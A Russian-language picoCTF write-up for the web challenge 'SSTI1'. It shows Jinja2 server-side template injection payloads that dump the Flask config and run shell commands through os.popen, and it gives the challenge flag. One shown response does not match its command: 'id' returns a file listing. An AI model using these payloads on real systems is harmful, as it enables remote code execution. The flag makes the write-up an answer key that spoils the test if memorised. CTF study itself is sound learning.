

1. WriteUp: PICO-CTF

Автор: nedo-offsec

Дата: 19 июля 2026

Задание: SSTI1

Категория: Web

Сложность: Easy 100 pts

1.1 Задание

I made a cool website where you can announce whatever you want! Try it out!

1.2 Решение

Чтож, пробуем SSTI

```
payload: {{7*7}}
response: 49
```

Теперь попробуем так:

```
payload: {{7*'7'}}
response: 7777777
```

Значит это Template Engine вида Jinja2 либо Twig

Если это Jinja2, то

```
{{ config.items() }}
```

должен прокатить

```
response:dict_items([('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS',
None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME',
datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None),
('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'),
('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None),
('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False),
('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True),
('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', None),
('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False),
('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'),
('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093)])
```

А теперь используем RCE payload:

```
payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
response: __pycache__ app.py flag requirements.txt
```

Выводим flag:

```
payload: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat
flag').read() }}
response: picoCTF{s4rv3r_sl3d3_t3mp14t3_1nj3ct10n5_4r3_c001_9451989d}
```